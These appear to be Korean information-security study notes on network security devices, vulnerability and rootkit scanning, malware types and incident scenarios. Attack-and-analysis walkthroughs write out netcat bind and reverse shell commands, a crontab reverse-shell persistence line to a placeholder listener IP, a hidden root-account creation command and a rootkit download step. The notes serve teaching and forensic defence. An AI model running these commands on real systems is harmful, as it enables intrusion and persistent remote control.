듀얼-홈드 호스트 구조	두 개의 인터페이스를 가지는 호스트를 통해 내/외부 네트워크를 연결
스크린드 호스트 게이트웨이 구조	듀얼-홈드 게이트웨이와 외부 네트워크 사이에 스크리닝 라우터를 설치하여 구성
스크린드 서브넷 구조	스크리닝 라우터 사이에 듀얼-홈드 게이트웨이가 위치하는 구성
NAT	
라우터나 방화벽과 같은 장치에서 외부 네트워크와 내부 네트워크 간의 주소 변환을 수행 - 외부에서 내부 네트워크로 직접적인 접근이 불가능하게 되므로 네트워크 보안효과를 가져올 수 있음	

허니팟
실제로 자료를 가진 호스트인 것처럼 인터넷상에 존재하면서 해커, 악의적인 내부자 등을 속여 그들로부터 침해당함으로써 그들의 행동, 공격기법, 목적 등을 분석 - 잠재적 공격자에 대한 조기 경보 제공, 보안 전략의 결점 파악 그리고 조직 전체의 보인의식 향상과 같이 전반적인 보안 메커니즘을 향상시키는 기능을 수행 - 고의적으로 취약점을 내포하고 있어, 취약점에 대한 패치가 발표되지 않은 시점에 발생하는 공격을 사전에 탐지할 수 있는 예방통제 기술

- 시스템 논리적인 파괴 및 손실을 방지하는데 목적
동작 과정
1. 중요한 시스템에 접근하는 공격자를 다른 방향으로 돌림
2. 공격자의 동작에 관한 정보를 수집
3. 관리자가 반응할 수 있도록 공격자로 하여금 시스템에 충분히 오랜 시간 동안 머무르게 유도
허니넷
다수의 허니팟으로 구축된 네트워크로, 해커들의 행동과 방법에 대한 정보 수집은 물론, 해커들을 유인한 후 실제 서비스 네트워크 및 자원과 격리하여 여러 시스템에 대한 공격 패턴을 알아냄 - 공격자들은 허니넷을 정상 네트워크로 인식

침입 탐지 시스템(IDS)	
사전에 등록한 알려진 공격 패턴, 임계치 등에 따라 공격을 탐지하는 보안장비 - 호스트 기반 IDS 는 호스트에 설치되어 호스트 정보를 수집하여 탐지활동을 수행(tripwire 등) - 네트워크 기반 IDS 는 네트워크 트래픽을 수집하여 탐지 활동을 수행(snort 등)	
주요 기능	**설명**
감시	네트워크 트래픽을 실시간 모니터링하여 특정 패턴이나 악성 행위를 감지
탐지	사전에 정의된 악성 패턴 또는 행위를 분석하여 악성 활동을 식별
알림	담당자에게 알림을 제공하여 대응 조치를 취할 수 있도록 함
보고	감지된 악성 활동에 대한 보고서를 생성하여 보안 이슈에 대한 분석과 추세 파악
탐지 종류	**설명**
오용 탐지	사전에 등록한 알려진 공격 패턴을 기반으로 공격 행위를 탐지 탐지 수준 : 공격 행위를 탐지하지 못하는 경우가 높음 - false negative 가 높음
이상 탐지	정상적이고 평균적인 상태를 기준으로 이를 벗어난 행위를 공격 행위로 탐지 탐지 수준 : 공격 행위가 아닌 것을 공격으로 탐지하는 경우가 높음 - false positive 가 높음

침입 방지 시스템(IPS)	
사전에 등록한 알려진 공격 패턴, 임계치 등에 따라 공격을 탐지하고 차단하는 보안장비	
주요 기능	**설명**
감시 및 탐지	IDS 와 마찬가지로 트래픽을 감시하고 악성 활동을 탐지
차단	감지된 악성 활동을 차단하여 액세스를 차단하거나 트래픽을 필터링
가로채기 및 수정	악성 트래픽을 가로채고 수정하여 악성 행위의 효과를 방지
자동 대응	정책에 따라 차단, 경보 발생, 보고서 생성 등을 자동으로 수행

tishactistory.com

디도스 차단 시스템
디도스 공격으로부터 다른 장비들을 보호하기 위해 네트워크 구성상 가장 상단에 위치하는 보안장비

SSL 오프로드	
SSL 서버를 대신해서 SSL 트래픽에 대한 모든 암/복호화 처리를 수행하는 기능 - 암호화된 트래픽에 대한 가시성 확보를 위함	
장비 종류	**설명**
SSL-VA 장비	SSL 트래픽에 대한 암/복호화 처리에 특화된 전용의 어플라이언스 장비
L7-Switch 장비	어플리케이션 컨텐츠 분석을 통한 패킷 탐지, SSL 오프로드 기능, 서버 부하 분산(SLB), 장애 조치(Failover) 등의 다양한 기능을 제공

APT 대응 시스템
네트워크 트래픽을 통해 유입되는 실행파일, 문서파일 등을 추출, 평판 조회 및 가상머신 샌드박스 환경에서 해당 파일을 직접 실행하여 악성 여부를 판단하는 보안장비 가상머신 : 외부로부터 받은 파일을 보호된 영역에서 실행시켜 시스템에 악영향을 주는 파일인지 확인

네트워크 포렌식 장비
설치된 네트워크 구간을 통과하는 모든 트래픽을 수집하고 분석할 수 있는 장비로 수집한 트래픽은 침해사고 분석 및 내부감사 등의 목적으로 활용 - 대용량의 스토리지가 필요

네트워크 구간	설명
인터넷 구간	인터넷을 통해 외부에서 직접 접근이 가능한 구간
DMZ 구간	인터넷 구간과 내부망 사이에 위치한 중간지점으로 인터넷으로부터의 접근과 내부망으로의 접근을 허용하는 구간
내부망	인터넷으로부터 물리적으로 분리된 망이거나 접근통제시스템에 의해 인터넷으로부터 직접 접근이 불가능하도록 통제/차단되어 있는 구간

보안장비 설치 모드	설명
인라인 모드	물리적 네트워크 경로상에 설치되어 연결되는 네트워크를 통과하는 모든 트래픽이 거쳐가도록 하는 모드 탐지 및 차단 : 경로상에 위치하기 때문에 실제 패킷을 탐지하고 차단할 수 있음 장비 장애 : 전체 네트워크 장애로 확산될 수 있는 위험성이 있음 - IPS 설치모드
미러링 모드	물리적 네트워크 경로 밖에 위치하여 TAP 장비를 통해 복제된 패킷을 탐지하는 모드 탐지 및 차단 : 복제된 패킷을 탐지하기 때문에 실제 패킷을 차단하기 어려움 장비 장애 : 경로 밖에 위치하므로 네트워크에 영향을 주지 않음 - IDS 설치모드

보안장비 관리	설명
계정 관리	보안장비 default 계정 변경 : 계정 메뉴에서 default 계정을 변경
	보안장비 default 패스워드 변경 : 패스워드 메뉴에서 패스워드 변경
	보안장비 계정별 권한 설정 : 계정 메뉴에서 기존 계정의 권한을 검토하여 불필요한 권한을 제거
	보안장비 계정 관리 : 사용하지 않는 계정은 삭제 - 공용 계정 사용 시 책임 추적성 확보
접근 관리	보안장비 원격 관리 접근 통제 : 접근통제 메뉴를 이용하여 관리자 IP 또는 특정 IP 및 계정에서만 접속할 수 있도록 설정
	보안장비 보안 접속 : 접속 시 SSH 또는 HTTPS 등의 암호화 접속이 가능하도록 설정
	세션 타임아웃 설정 : 세션 타임아웃 기능을 활성화

취약점 점검

nessus
미국 테너블사가 개발하여 무료로 배포하는 취약점 점검도구로 로컬 또는 원격지에서 다양한 방법을 통해 시스템, 네트워크, 웹 어플리케이션 등의 알려진 취약점에 대한 점검을 수행하며 점검을 통해 취약점의 내용과 해결 방법을 상세하게 제공 데몬 기동 : etc/init.d/nessusd restart(nessus 데몬 기동 시 기본 포트 8834/tcp 사용) 동작 확인 : ps -ef | grep nessusd(nessus 데몬 동작 여부를 확인) - 클라이언트/서버 구조로 동작 - 사용이 자유롭고 플러그인 업데이트 등이 쉬움 - HTML 등 여러 형태로 결과를 리포트해줌

usrlac.tistory.com

nikto
웹 해킹에 대응하기 위해 웹서버나 웹 기반의 응용 프로그램 취약점을 점검할 수 있는 대표적인 프로그램 점검 방법 : nikto -h [웹서버 IP] -output vul.html -Format html 명령을 통해 html 형식으로 취약점 점검 결과 확인 - 웹서버 설치 시 기본적으로 설치되는 파일과 웹서버의 종류와 버전 등을 스캔 - DB 를 이용해 취약한 CGI 파일을 스캔하는 기능이 매우 뛰어남

무결성 점검

tripwire
파일시스템 무결성 점검은 파일시스템의 상태 추적 및 허가받지 않은 변경 여부를 주기적으로 점검하여 의심스러운 변화가 감지되면 이를 검사하고 복구하는 과정으로 유닉스/리눅스 환경에서 파일시스템 무결성을 점검하는 대표적인 도구로 트립와이어가 있음 - 시스템 내에 지정한 중요한 디렉터리와 파일에 대한 정보를 담은 데이터베이스를 생성한 후 tripwire 를 실행할 때 새로 생성된 데이터베이스와 비교하여 그 차이점을 보고해 줌으로써 시스템 관리자가 시스템 내에 어떠한 변화가 있는지 감지
사용방법

1. 트립와이어 정책 설정 - 정책 설정 파일을 통해 점검할 파일 및 디렉터리를 설정
2. 파일시스템을 대상으로 초기화 작업을 수행하여 초기 해시값 생성 - tripwire --init
3. 해시값을 데이터베이스에 저장
4. 데이터베이스 파일 생성을 확인 - /var/lib/tripwire/[호스트명].twd
5. 트립와이어 실행 - tripwire --check
6. 실행 결과를 화면으로 출력하며 상세 결과 내용은 report 파일로 제공
7. 결과 리포트를 확인

루트킷 점검

chkrootkit
시스템에 루트킷이 설치되어 있는지 여부를 손쉽게 체크할 수 있는 도구
확인 방법
1. chkrootkit -q 실행 : quiet 모드로 변조/감염된 파일 정보를 확인
2. 결과에 INFECTED 확인 : 해당 파일이 변조/감염되었음을 의미

tishac.tistory.com

/proc 파일 시스템
커널이 메모리상에 사용하고 있는 모든 자원들에 대한 정보들을 파일 형식으로 보관하는 파일시스템 /proc/[pid]/exe : 프로그램의 실행파일명 및 경로를 확인할 수 있는 심볼릭 링크 파일 /proc/[pid]/cmdline : 프로세스를 실행한 명령어 및 전달인자 정보를 담고 있는 파일 - 메모리 영역에 존재하는 파일시스템 - 상태정보를 파일명으로 보관
/proc 를 이용한 루트킷 탐지 프로그램의 탐지 원리
ps 실행 결과와 /proc 디렉터리에 있는 프로세스 정보를 비교하여 /proc 디렉터리에는 프로세스가 있지만 ps 실행 시 보이지 않은 프로세스를 히든 프로세스로 탐지함 - 시차에 의해 오탐이 발생할 수 있음
백도어 탐지 시나리오
1. ps 명령 실행 시 동작중인 백도어 프로그램인 bdoor 프로세스 정보가 출력되지 않음
2. /proc/15415/exe 를 통해 bdoor 프로세스가 동작 중인 것을 확인
3. 해당 프로세스의 실행파일명 및 경로를 확인
4. cp /proc/15415/exe /tmp/backdoor 명령으로 실행파일을 복원
5. cat /proc/15415/cmdline 명령으로 프로세스를 실행한 명령어 및 전달인자를 확인

Strace 명령

특정 프로그램의 시스템 콜과 시그널을 추적하는데 사용하는 디버깅 도구로 정상적인 프로그램과 변조된 프로그램의 시스템 콜을 비교하여 변조 여부를 확인 변조된 프로그램 정보 : 변조된 ps 프로그램이 정상적인 ps 프로그램과 달리 특정 파일을 오픈하고 있는 것을 확인

rpm -V 명령
rpm -V [패키지이름] 명령을 실행하여 최초 설치 시점과 비교해서 파일 크기, MD5 체크섬, 파일 수정 시간이 변경된 것을 확인 S : 파일 크기 변경 M : 파일 퍼미션 변경 5 : MD5 체크섬 변경 T : 파일 수정 시간 변경
패키지 재설치 과정
1. rpm -Uyh --force [패키지 파일 이름] 명령을 통해 패키지 재설치 시 오류 발생
2. lsattr 명령으로 i 속성이 설정되어 있는지 확인
3. chattr 명령으로 i 속성을 제거
4. rpm 명령을 통해 재설치

리눅스 파일 속성 설정	설명
lsattr	파일 속성 정보를 확인할 수 있는 명령 - i 속성은 읽기 전용모드, a 속성은 내용 추가만 허용, A 속성은 Access Time 을 변경하지 않음
chattr	파일 속성 정보를 변경할 수 있는 명령 - + 속성을 통해 속성을 설정하고 -속성을 통해 속성을 제거

tishac.tistory.com

취약점 정보 분류 체계

CVE
공개적으로 알려진 소프트웨어의 보안취약점을 표준화한 식별자 목록 규칙 : CVE 접두사-해당년도-취약점 번호

CWE	
소프트웨어에서 공통적으로 발생하는 약점을 체계적으로 분류한 목록 - 개발 과정에서 발생할 수 있는 취약점(소스코드 보안취약점)	
CWE 보안 취약점	**설명**
입력 데이터 검증 및 표현	입력 값에 대한 검증 누락 또는 부적절한 검증
보안 기능	보안을 부적절하게 구현 시 발생
시간 및 상태	동시 수행을 지원하는 병렬 시스템, 하나 이상의 프로세스가 동작 되는 환경에서 시간 및 상태를 부적절하게 관리하여 발생
에러처리	에러를 처리하지 않거나, 중요한 정보가 포함 될 때

코드 오류	인가되지 않은 사용자에게 데이터 노출
캡슐화	중요한 데이터 또는 기능을 불충분하게 캡슐화 하였을 때
API 오용	의도된 사용에 반하는 방법으로 API 를 사용하거나, 보안에 취약한 API 를 사용하여 발생할 수 있음

쉘 획득

바인드 쉘	
클라이언트/공격자가 타겟 서버에 접속하여 타겟 서버의 쉘을 획득하는 방식	
바인드 쉘 명령	**설명**
바인드 쉘 리스너	서버는 리스너로 동작하여 연결 요청을 수락할 수 있도록 함 - nc "/bin/bash" -lvp 80
바인드 쉘 커넥터	공격자는 커넥터로 동작하여 리스너에 연결할 수 있도록 함 - nc [리스너의 IP] [리스너의 Port]

리버스 쉘	
역으로 타겟 서버가 클라이언트/공격자로 접속해서 클라이언트가 타겟 서버의 쉘을 획득하는 방식	
리버스 쉘 명령	**설명**
리버스 쉘 리스너	공격자는 리스너로 동작하여 연결 요청을 수락할 수 있도록 함 - nc -lvp 80
리버스 쉘 커넥터	서버는 커넥터로 동작하여 리스너에 연결할 수 있도록 함 - nc [리스너의 IP] [리스너의 Port] -e /bin/bash
쉘을 주기적으로 획득하는 방법	
외부에서 접근하기 위해 리버스 쉘 명령을 cron 테이블에 등록 후 해당 웹서버의 쉘을 주기적으로 획득하여 추가적인 공격 명령을 수행 - 30 2 * * * root /usr/bin/nc [리스너 IP] [리스너 Port] -e /bin/bash	

tishac.tistory.com

취약점 익스플로잇

익스플로잇
소프트웨어나 하드웨어의 버그 또는 취약점을 이용하여 공격자가 의도한 동작이나 명령을 실행하도록 하는 코드 쉘 코드: 공격자가 의도한 명령을 담고 있는 코드

난독화

코드/ 바이너리 난독화
프로그램 코드를 읽기 어렵게 만드는 기술로 난독화의 대상에 따라 소스코드 난독화와 바이너리 난독화로 구분 소스코드 난독화 : C/C++/JAVA 등의 프로그램 소스코드를 알아보기 힘들게 만드는 기술 바이너리 난독화 : 컴파일 후 생성된 바이너리를 역공학을 통해 분석하기 어렵게 변조하는 기술 - 공격자가 코드 난독화를 하는 이유는 코드의 가독성을 낮춰 분석을 어렵게 하거나 패턴/시그너처 기반 보안장비의 탐지를 우회할 목적으로 이용

난독화 분류	설명
분할 난독화	악성코드를 다수의 문자열 변수로 잘게 쪼갠 후 재조합하여 출력하는 방식
10 진수 난독화	각각의 문자를 아스키코드 10 진수 형식으로 인코딩하여 난독화하는 방식
16 진수 난독화	문자열 바이트 단위로 %헥사값 형식으로 표현하는 퍼센트 인코딩 방식
기타 난독화	XOR 인코딩, BASE64 인코딩 등 다양한 방식의 난독화 기술이 존재

리버스 엔지니어링	
장치나 시스템의 구조를 분석하여 원리를 발견하는 과정	
리버스 엔지니어링 공격	
1. 공격자는 리버스 엔지니어링을 통해 시스템 또는 프로그램을 분석	
2. 취약점을 찾은 후 공격할 수 있는 코드를 생성	
3. 코드를 난독화 하여 가독성을 낮춰 분석을 어렵게 하거나 탐지를 우회	
대응방안	**설명**
코드 난독화	코드를 난독화 하여 공격자가 프로그램 소스코드를 알아보기 어렵게 만듦

악성코드

악성코드 분류	설명
다운로더	악성코드에서 지정한 외부 주소에 접속하여 추가 악성코드를 다운로드하여 실행
드롭퍼	다운로드와 유사하게 새로운 악성코드를 생성하지만 자신 내부에 포함되어 있는 데이터를 이용하여 악성코드를 생성
인젝터	드롭퍼의 특수한 형태로 파일을 생성하지 않고 자신의 데이터를 이용해 바로 새로운 프로세스를 생성하여 메모리에 상주
키로거	컴퓨터가 입력한 정보를 기록하는 것으로 키보드를 통한 메시지를 중간에 가로채서 기록
백도어	감염된 사용자 PC 에 특정 포트를 열어두어 정상적인 인증 과정 없이 원격 접속을 통해 직접 조작하는 형태
루트킷	감염된 사용자 PC 에 특정 포트를 열어두어 정상적인 인증 과정 없이 원격 접속을 통해 직접 조작하는 형태
1. /bin/ps 와 /bin/netstat 실행파일을 변조하는 rootkit 을 실행	
2. 백도어 역할을 수행하는 프로세스가 지속적으로 외부 연결을 대기하는 상태가 됨	
3. 이때 변조된 ps 와 netstat 명령어에 노출시키지 않음	

악성코드 탐지 및 분석	설명
정적 분석 기술	점검대상 홈페이지 웹 프로그램 소스코드를 분석하여 알려진 악성코드 경유지/중계지/유포지 또는 악성 스크립트 문자열을 포함하는 악성 링크가 있는지 탐지하는 방식 정적 분석 : 디버거와 디스어셈블러를 이용하여 실제 악성코드를 직접 실행하지 않고 디버깅 및 코드를 분석하는 방법

tishac.tistory.com

	- 알려진 탐지 패턴으로 점검하기 때문에 점검 속도는 빠르지만 알려지지 않은 신종 악성코드에 대해서는 탐지하지 못함
동적 분석 기술	가상의 사용자 PC 환경을 구성하고 취약점에 노출시킨 후 점검대상 홈페이지에 접속하여 비정상적인 레지스트리 변경, 악성코드 다운로드, C&C 서버 접속 등의 악성행위를 분석하는 방식 동적 분석 : 악성코드를 제한된 실행 환경 내에서 직접 실행해봄으로써 동작 과정 및 시스템 내에서의 행위를 모니터링하여 분석하는 방법 - 행위 분석이라고도 하며, 탐지 패턴을 이용하지 않기 때문에 신종 악성코드 탐지가 가능하나 상대적으로 분석 속도가 느림

패킹
실행파일의 크기를 줄이고 내부 코드와 리소스를 감추기 위해 압축 또는 암호화하는 기법 - 언패킹은 패킹된 실행파일을 푸는 것

침해사고 종류

리버스 쉘 공격
내부 침입자가 리버스 쉘 명령을 cron 테이블에 등록하면, 주기적으로 피해자가 공격자 서버로 연결을 시도하게 하여 원격에서 쉘을 획득하고 명령을 실행할 수 있게 하는 공격 기법
리버스 쉘 공격 시나리오
1. 내부 침입자가 Telnet 무작위 대입/사전 공격을 통해 root 계정의 패스워드 정보를 탈취 - 공격 성공 후 Telnet 을 이용하여 root 권한의 쉘 획득
2. 내부 침입자는 탈취한 root 계정을 이용하여 Telnet 원격 로그인
3. useradd -o -u 0 -g 0 /root attack 명령을 통해 root 권한의 일반 사용자 계정을 생성
4. 외부에서 접근하기 위해 30 2 * * * root /usr/bin/nc [리스너 IP] [리스너 Port] -e /bin/bash 리버스 쉘 명령을 cron 테이블에 등록
5. 외부 공격자는 해당 웹서버의 쉘을 주기적으로 획득하여 추가적인 공격 명령을 수행
리버스 쉘 분석 시나리오
1. 관리자는 /var/secure 와 /var/messages 로그를 통해 다수의 root 계정 로그인 실패 기록과 성공한 로그인 기록을 확인
2. root 계정의 명령어 실행 내역을 확인하기 위해 .bash_history 로그 파일을 분석하여 root 권한의 일반 계정 생성과 crontab 접근을 확인 - /etc/passwd 파일을 확인해본 결과 user id 와 group id 가 모두 0 으로 설정된 계정이 생성된 것을 확인 - /etc/crontab 파일을 확인해본 결과 주기적으로 공격자 호스트로 리버스 쉘을 생성하는 작업이 등록된 것을 확인
3. 현재 공격자가 리버스 쉘을 연결하고 있는지 확인하기 위해 netstat -antp | grep [공격자 IP] 명령을 실행하여 연결 정보의 PID 를 확인
4. ps -ef | grep [PID] | grep -v grep 명령을 실행한 결과 현재 공격자와 Bash 쉘이 연결된 것을 확인

루트킷 공격

tishac.tistory.com

시스템 취약점을 이용해 침투한 뒤, ps·netstat 등 명령어를 변조해 악성 프로세스를 숨기고, 리버스 쉘 백도어로 외부와 지속적으로 연결을 유지하는 은닉형 공격 기법
루트킷 공격 시나리오
1. 공격자는 Nessus 를 통해 웹서버의 취약점을 스캔해본 결과 Tomcat 관리자 페이지가 외부로 공개되어 있는 것을 확인 - 추가적으로 아이디와 비밀번호정보도 초기 설치 상태로 되어 있는 것을 확인
2. 관리자 페이지의 취약점을 이용한 익스플로잇을 통해 백도어 기능을 수행하는 쉘 코드를 실행하여 루트 권한의 리버스 쉘을 연결
3. 리버스 쉘 획득 후 현재 작업 디렉터리를 /tmp 로 이동하여 공격자 서버로부터 루트킷 프로그램을 wget [리소스 URL] 명령을 통해 다운로드 - 모든 사용자에 대해 읽기/쓰기가 자유로운 임시 디렉터리 특성을 이용
4. 관리자가 쉽게 눈치채지 못하도록 루트킷 파일명을 패치파일인 것처럼 위장
5. tar 명령을 이용하여 압축 및 아카이브된 파일을 푼 후 install 명령을 통해 루트킷을 실행
6. cron 테이블에 리버스 쉘 명령을 등록 - echo "0 3 * * * root /usr/bin/nc [리스너 IP] [리스너 Port] -e /bin/bash" >> /etc/crontab
7. 공격자는 해당 웹서버의 쉘을 주기적으로 획득하여 추가적인 공격 명령을 수행
루트킷 분석 시나리오
1. 관리자는 Tomcat 웹서버 액세스 로그를 분석하여 취약점 스캔 발생과 관리자 페이지가 정상 응답한 기록을 확인
2. chkrootkit 프로그램을 실행한 결과 netstat 실행파일이 변조된 것을 확인
3. ps 명령 실행 시 11 개의 프로세스가 숨겨진 것으로 보아 ps 실행파일의 변조와 숨겨진 프로세스 중 은닉한 프로세스가 있을 것으로 판단
4. /bin 디렉터리에 대해 최근 10 일 이내에 수정된 실행파일이 있는지 find /bin/ -type f -mtime -10 | xargs ls -l 명령으로 확인 - /bin/netstat 와 /bin/ps 실행파일이 최근에 수정되었음을 확인
5. rpm -qf /bin/netstat /bin/ps 명령을 통해 /bin/netstat 와 /bin/ps 실행파일이 어떤 RPM 패키지에 속하는지를 확인
6. rpm -V net-tools procps 명령을 통해 /bin/netstat 와 /bin/ps 실행파일의 무결성을 체크 - 최초 설치 시점과 비교해서 파일크기(S), MD5 체크섬(5), 파일 수정 시간(T)이 변경된 것을 확인
7. 변조된 명령어를 재설치하기 위해 rpm -Uvh --force [패키지 파일] 명령어를 이용해 패키지 재설치
8. 패키지를 재설치하는 중 오류가 발생하여 lsattr /bin/netstat /bin/ps 명령을 확인한 결과 i 속성이 설정되어 있는 것을 확인
9. chattr -i /bin/netstat /bin/ps 명령을 통해 i 속성을 제거한 후 패키지 재설치에 성공
10. 패키지 재설치 후 ps -ef | grep "nc -v" | grep -v grep 명령을 실행하여 nc 프로세스를 확인
11. netstat -antp | grap [공격자 IP] 명령을 실행하여 외부 공격자와의 리버스쉘이 연결된 것을 확인
12. 추가 공격 흔적을 확인하기 위해 로그 분석을 한 결과 /var/log/cron 에 리버스 쉘을 연결하는 nc 프로그램이 동작한 것을 확인 - /etc/crontab 파일을 확인한 결과 nc 프로그램을 이용해 리버스 쉘을 연결하는 작업 등록되어 있는 것을 확인

tishactistory.com

13. 현재 공격자가 리버스 쉘을 연결하고 있는지 확인하기 위해 netstat -antp | grep [공격자 IP] 명령을 실행하여 연결 정보의 PID 를 확인
14. ps -ef | grep [PID] | grep -v grep 명령을 실행한 결과 현재 공격자와 Bash 쉘이 연결된 것을 확인 - 루트킷 등에 의해 공격자가 구동한 프로세스 정보를 제대로 볼 수 없을 때 lsof 프로그램을 이용하여 확인할 수 있음

Drive By Download 공격
홈페이지를 해킹한 후 사용자 PC 의 취약점을 익스플로잇하는 악성 스크립트와 악성코드를 은닉시키고 취약한 PC 환경의 사용자가 홈페이지에 접속할 경우 자신의 의도와는 무관하게 악성코드가 다운로드 되어 설치되는 공격기법
DBD 공격 시나리오
1. 공격자는 경유지와 중계지로 사용할 웹서버를 확보하기 위해 여러 사이트를 대상으로 취약점 스캔을 시도
2. A 웹서버와 B 웹서버에 파일 업로드 취약점이 존재한다는 사실을 확인하고 이를 이용하여 웹쉘 및 악성 자바스크립트를 업로드
3. 웹쉘을 통해 A 웹서버의 기본 페이지를 변조하여 악성 스크립트 삽입 구문을 추가 - 첫 번째 자바스크립트 파일에는 iframe 태그를 통해 중계지인 B 사이트로 이동시키는 난독화된 자바 스크립트 코드가 있음 - 두 번째 자바스크립트 파일에는 사용자 쿠키 정보를 탈취하여 공격자 웹서버로 전달하는 코드가 있음
4. 웹쉘을 통해 B 웹서버의 기본 페이지에 유포지인 C 페이지로 이동시키는 iframe 태그를 삽입 - iframe 태그에는 폭과 높이를 0 으로 지정하여 브라우저상 보이지 않도록 숨기고 src 속성을 통해 원하는 페이지로 리다이렉트
5. 유포지에 접속한 사용자의 브라우저 취약점을 이용해 익스플로잇을 수행하여 리버스 쉘을 획득
6. A 사이트의 기본 페이지에 삽입한 두 번째 자바스크립트 파일을 통해 사용자 쿠키 정보를 탈취하여 공격자 웹서버에 저장
DBD 분석 시나리오
1. 관리자는 액세스 로그를 확인해본 결과 자료실 게시판을 통해 파일 업로드가 발생한 사실을 확인 - 업로드 디렉터리에 게시판 첨부파일로 허용하지 않는 웹 쉘로 의심되는 PHP 파일이 호출되었고 정상 응답한 것을 확인
2. 웹쉘로 의심되는 PHP 파일을 직접 호출한 결과 웹쉘 파일로 확인 - 확장자 필터링, 실행 설정 제거 등 보안 조치를 수행하여야 함
3. 파일 업로드 이후 보이지 않던 신규 자바스크립트 파일이 호출되었고 정상 응답한 것을 확인
4. 악성 스크립트로 의심되는 첫 번째 파일을 분석한 결과 16 진수 난독화 되어 있는 것을 확인 후 unescape() 수행
5. 그 결과 다른 사이트로 몰래 이동하기 위한 iframe 태그가 포함되어 있는 것을 확인 - 폭(width)과 높이(height)를 모두 0 으로 지정하여 브라우저상에 보이지 않도록 숨기고 src 속성을 통해 B 페이지로 이동하는 것을 확인
6. 두 번째 파일을 분석한 결과 Image 객체를 생성한 후 src 를 지정하는 부분에 공격자 웹서버의 페이지가 호출하도록 하는 코드를 확인

tishac.tistory.com

7. 페이지 호출 시 q 파라미터의 값으로 사용자 쿠키 정보를 URI 인코딩하여 전달하는 코드를 확인 - 악성 자바스크립트 파일을 사용하고 있는 페이지를 조사한 결과 기본 페이지가 변조되어 스크립트가 삽입된 것을 확인(stat 명령)
8. 웹서버가 DBD 공격을 위한 악성코드 경유지/중계지로 사용된 것으로 최종 판단하고 가상의 이용자 환경을 구축한 후 동적 분석을 수행 - 분석을 통해 경유지, 중계지, 유포지의 주소를 확인
9. 유포 페이지의 HTTP 요청 헤더를 통해 referer 헤더 필드에 이전 중계 페이지 정보가 설정된 것을 확인
10. IECacheView 툴을 이용하여 IE 브라우저의 캐시 정보를 확인 - 유포 페이지의 내용을 살펴본 결과 8080 포트의 유포 페이지로 이동하는 코드가 들어있는 것을 확인
11. TCPView 툴을 이용하여 TCP 연결 상태를 확인해본 결과 설치된 악성코드가 공격자 서버와 TCP 연결을 유지하고 있는 것을 확인
12. Process Explorer 툴을 이용하여 현재 동작 중인 악성코드 프로세스의 다양한 상태정보를 확인

APT	
지능형 지속 위협은 특정 표적을 대상으로 취약점을 파악하고 다양한 공격 기법을 이용한 지속적인 공격활동 지능적 : 단일 기법이 아닌 공격 목표에 맞는 사회공학기법, 제로데이 취약점 등 다양한 공격 기법을 조합하여 공격을 수행 지속적 : 공격 목표를 달성할 때까지 장기간 지속적인 공격 활동을 흔적을 남기지 않고 은밀하게 진행	
APT 공격 단계	**설명**
초기 정찰	다양한 공개 정보를 활용하여 공격 목표에 대한 정보를 수집
초기 침입	수집한 정보를 바탕으로 공격 대상 조직의 내부 네트워크로 초기 악성코드를 유입시키고 침투
거점 마련	다양한 기능을 수행하는 백도어를 통한 공격자와의 연결 생성 및 추가 공격을 위한 공격 도구를 다운로드
권한 상승	시스템 관리자로 권한 상승을 위해 익스플로잇, 제로데이 공격 등을 수행
내부 정찰	공격 도구를 활용하여 공격 대상 내부 시스템/네트워크 정보를 수집
내부 침투	수집한 정보를 이용하여 내부 네트워크 상에 있는 다른 시스템을 추가로 공격하고 제어 권한을 탈취
지속성 유지	백도어의 지속성을 유지하기 위해 윈도우 레지스트리 조작
목표 달성	정보 유출, 시스템 파괴 등 최종 공격 목표를 달성
APT 주요 침투 기법	**설명**
스피어 피싱	일반 피싱과 달리, 공격자는 타깃의 이름, 소속, 관심사 등을 사전에 조사해 신뢰할 수 있는 발신자처럼 위장
1. 불특정 다수가 아닌 특정인을 표적으로 신뢰할만한 발신인이 보낸 것처럼 위장한 이메일을 발송	
2. 악성 웹사이트로 유도 또는 악성 첨부 파일로 악성코드에 감염	
워터링 홀	타깃이 자주 방문하는 웹사이트를 감염시켜, 타깃이 해당 사이트에 접속하면 자동으로 악성코드에 감염되도록 하는 방식
1. 사회공학기법을 통해 공격 대상이 주로 방문하는 웹사이트에 대한 정보를 사전에 파악	

tishac.tistory.com

2. 제로데이 취약점 등을 이용하여 해당 사이트에 악성코드를 심어둠	
3. 해당 사이트에 접근하게 되면 악성코드에 감염	
USB 메모리 스틱	물리적 매체를 이용한 악성코드 전파 수단으로 사용
1. 사전에 USB 메모리에 악성코드를 삽입	
2. 특정 타겟/조직의 이동 동선상에 이를 방치	
3. 누군가가 이를 가져가서 내부 PC 에 연결	
4. 연결하는 순간 악성코드에 감염	
APT 공격 방어	**설명**
사이버 킬 체인	공격자는 사이버상에서 표적에 대한 공격을 위해 일련의 공격 단계를 거치는데 이런 단계 중 어느 한 단계의 공격을 탐지/차단/대응해 목표 달성 이전에 선제적으로 무력화시키는 방어시스템 탐지 : 공격자의 공격 행위를 발견 거부 : 공격자의 접근을 차단 교란 : 공격을 위한 정보의 흐름을 방해 약화 : 공격 행위의 효율 또는 효과를 감소 기만 : 정보를 조작하여 공격자가 잘못된 판단을 수행 파괴 : 공격자 또는 공격 관련 도구가 원래의 기능을 수행할 수 없게 손상
MITRE ATT&CK	실제 사이버 공격 사례를 관찰한 후 공격자가 사용한 악의적인 행위에 대해서 공격방법과 기술의 관점으로 분석하여 다양한 공격그룹의 공격기법 들에 대한 정보를 분류해 목록화해 놓은 표준적인 데이터

tishac.tistory.com

공급망 공격	
공급망에 침투하여 사용자에게 전달되는 S/W 나 H/W 를 변조하는 형태의 공격 - 빌드/업데이트 인프라 변조 - 인증서나 개발 계정 유출을 통한 변조 - 하드웨어나 펌웨어의 변조 - 악성코드에 감염되어 있는 제품 판매	
공급업체의 대응방안	**설명**
개발자 PC 및 빌드/업데이트 서버의 관리 강화	S/W 개발자 및 빌드, 업데이트 등의 관련 시스템에 대한 보안 강화가 우선
SDLC 가이드라인에 따른 S/W 업데이트	가이드에 맞추어 보안성을 고려한 S/W 개발 및 유지 보수를 이행
공급망 공격에 대한 이해 및 취약 부분 점검	기존의 사례를 기반으로 S/W 공급망의 취약점을 보완
기업/기관의 대응방안	**설명**
가시성의 확보	어떤 S/W 들이 공급망을 통하여 지속적으로 업데이트가 되고 있으며, 어떤 불필요한 S/W 가 존재하는지 파악하는 것이 우선

최신 패치 적용	운영하는 장비/PC 에 설치되어 있는 보안 S/W 의 최신 업데이트에 대한 적용을 반드시 수행
지속적인 보안 교육	모든 보안 사고에 대한 예방은 직원에 대한 교육이 기본

